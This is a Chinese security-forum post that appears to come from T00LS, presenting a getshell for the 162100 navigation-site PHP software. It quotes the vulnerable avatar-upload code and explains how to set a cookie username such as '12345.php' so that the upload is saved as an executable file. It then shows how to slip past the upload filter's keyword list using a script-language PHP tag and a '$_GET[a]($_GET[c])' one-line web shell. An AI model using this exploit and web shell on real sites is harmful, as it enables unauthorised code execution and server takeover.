【我爱T00LS】162100导航 GETSHELL

2013-09-04 16:40:41 21 3927
./inc/require/z_other_face_up.php

$web['img_name_b'] = 'face-'.urlencode($session[0]);//这个是从cookie中获取的,为cookie explode |之后的第一个字符
//gmdate("YmdHis", time() + (floatval($web["time_pos"]) * 3600));


//本机上传
if ($_POST['ptype'] == 1) {
  if ($web['max_file_size'][15] == 0) {
    err('系统设定为禁止上传。');
  }
  if (is_array($_FILES['purl1']) && $_FILES['purl1']['size']) {
    @chmod('../../data', 0777);
    if (!file_exists($web['img_up_dir']) && !@mkdir($web['img_up_dir'], 0777)) {
      err('图片无法上传,上传目录不存在。');
    }
    $inis = ini_get_all();
    $uploadmax = $inis['upload_max_filesize'];
    if ($_FILES['purl1']['size'] > $web['max_file_size'][15] * 1024) {
      err('图片上传不成功!上传的文件请小于'.$web['max_file_size'][15].'KB。');
    }
    if (!preg_match('/\.(jpg|gif|png)$/i', strtolower($_FILES['purl1']['name']), $matches)) {
      err('图片上传不成功!请选择一个有效的文件:允许的格式有(jpg|gif|png)。');
    }
    if ($fp = @fopen($_FILES['purl1']['tmp_name'], 'rb')) {
      $img_contents = @fread($fp, $_FILES['purl1']['size']);
      @fclose($fp);
    } else {
      $img_contents = @file_get_contents($_FILES['purl1']['tmp_name']);
    }
    if (preg_match('/<\?php|eval|POST|base64_decode|base64_encode/i', $img_contents, $m_err)) {
      err('提示!禁止提交。该文件含有禁止的代码'.str_replace('?', '\?', $m_err[0]).'。');
    }
    @chmod($web['img_up_dir'], 0777);
    if (@move_uploaded_file($_FILES['purl1']['tmp_name'], $web['img_up_dir'].'/'.$web['img_name_b'].'.'.$matches[1])) {
       
       
测试 我们注册一个用户 然后修改COOKIE 用户名成12345.php 然后上传头像即可
        测试 /__temp__/face-12345.php.jpg[/img]
        他的过滤太弱智了
        <script language='php'>phpinfo();</script>
        中间改成 $_GET[a]($_GET[c])就能绕过了

关于作者

Cond0r136篇文章1277篇回复

评论21次

要评论?请先  登录  或  注册